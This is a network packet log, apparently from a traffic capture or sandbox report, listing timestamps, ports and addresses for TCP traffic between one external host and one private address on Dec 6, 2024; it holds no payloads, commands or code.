Dec 6, 2024 14:19:45.013016939 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.013030052 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.013118029 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.034429073 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.034563065 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.034679890 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.034799099 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.034811974 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.034894943 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.035711050 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.035722971 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.035777092 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.036732912 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.087223053 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.157011032 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.157129049 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.157442093 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.157497883 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.157644033 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.157737017 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.157784939 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.158699989 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.158746958 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.158790112 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.162887096 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.162899971 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.162910938 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.162924051 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.162938118 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.162947893 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.162950039 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.162990093 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.163830996 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.163878918 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.164016962 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.164812088 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.164863110 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.164949894 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.165884972 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.165899038 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.166014910 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.166870117 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.167027950 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.167077065 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.167690992 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.167742968 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.167861938 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.168715000 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.168853045 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.168885946 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.170069933 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.170115948 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.170222998 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.170694113 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.170734882 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.170874119 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.171819925 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.171837091 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.171868086 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.172766924 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.172827959 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.172916889 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.173712015 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.173759937 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.173877954 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.174590111 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.174638987 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.174783945 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.175725937 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.175800085 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.175869942 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.176701069 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.176717043 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.176755905 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.177593946 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.177757025 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.177776098 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.178682089 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.178744078 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.178812027 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.179625034 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.179681063 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.179806948 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.180604935 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.180674076 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.180773020 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.181669950 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.181741953 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.181823969 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.182498932 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.182543039 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.182810068 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.184020042 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.184068918 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.184189081 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.185125113 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.185178995 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.185301065 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.185791016 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.185957909 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.185966969 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.186621904 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.186691046 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.186794996 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.187614918 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.187627077 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.187666893 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.188731909 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.188884974 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.188937902 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.189443111 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.189487934 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.189599991 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.190428972 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.190753937 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.190798044 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.191411018 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.191423893 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.191457987 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.192459106 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.192502022 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.192615032 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.193500996 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.193550110 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.193671942 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.194452047 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.194495916 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.194619894 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.194946051 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.194958925 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.194994926 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.196533918 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.196547031 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.196588993 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.197416067 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.197472095 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.197577953 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.198437929 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.198484898 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.198612928 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.199409962 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.199426889 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.199469090 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.200114965 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.200128078 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.200160980 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.200191975 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.200290918 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.200331926 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.201204062 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.201482058 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.201530933 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.202172041 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.202212095 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.202316046 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.203232050 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.203320026 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.203366995 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.204175949 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.204226017 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.204318047 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.205167055 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.205216885 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.205281973 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.227152109 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.227166891 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.227333069 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.227617025 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.227629900 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.227677107 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.228444099 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.228461981 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.228506088 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.229448080 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.229459047 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.229521036 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.350207090 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.350337982 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.350389004 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.350800037 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.350812912 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.350874901 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.351723909 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.351891041 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.352030039 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.352750063 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.352762938 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.352837086 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.353732109 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.353889942 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.353939056 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.354681969 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.354847908 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.354904890 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.355812073 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.355824947 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.355876923 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.356666088 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.356805086 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.356856108 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.357660055 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.357839108 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.357884884 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.358830929 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.358843088 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.358917952 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.359659910 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.359672070 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.359723091 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.360726118 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.360743999 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.360785961 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.361666918 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.361679077 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.361690998 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.361701965 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.361721039 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.361747980 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.364092112 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.364248037 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.364404917 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.365046978 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.365231991 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.365272999 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.365927935 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.365941048 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.366003990 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.366641998 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.366714001 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.366727114 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.366739988 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.366765022 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.366791964 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.367378950 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.367479086 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.367562056 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.368361950 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.368479967 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.368529081 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.369354010 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.369469881 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.369518042 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.370341063 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.370454073 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.370506048 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.371365070 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.371463060 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.371514082 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.372344971 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.372476101 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.372529984 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.373334885 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.373498917 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.373553038 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.374417067 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.374546051 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.375308037 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.375365019 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.375395060 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.375518084 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.376326084 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.376429081 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.376481056 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.377289057 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.377398968 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.377448082 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.378297091 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.378402948 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.378459930 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.379256010 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.379426003 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.379466057 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.380251884 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.380403996 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.380448103 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.381354094 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.381454945 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.382242918 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.382287025 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.382318020 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.382833004 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.383202076 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.383321047 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.383363008 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.384248018 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.384320021 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.384372950 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.385216951 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.385386944 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.385441065 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.386177063 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.386287928 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.387172937 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.387226105 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.387279034 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.387515068 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.388159037 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.388273001 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.388323069 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.389167070 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.389291048 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.389343023 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.390156984 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.390203953 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.390259981 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.391148090 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.391254902 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.391511917 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.392126083 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.392235041 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.393115044 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.393158913 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.393222094 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.394134998 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.394176006 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.394241095 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.394280910 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.395128965 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.395235062 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.395278931 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.396128893 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.396214008 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.396260023 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.397099972 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.397173882 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.399522066 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.417952061 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.417977095 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.418059111 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.418963909 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.419091940 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.419156075 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.419465065 CET	1128	49704	45.202.33.26	192.168.2.5
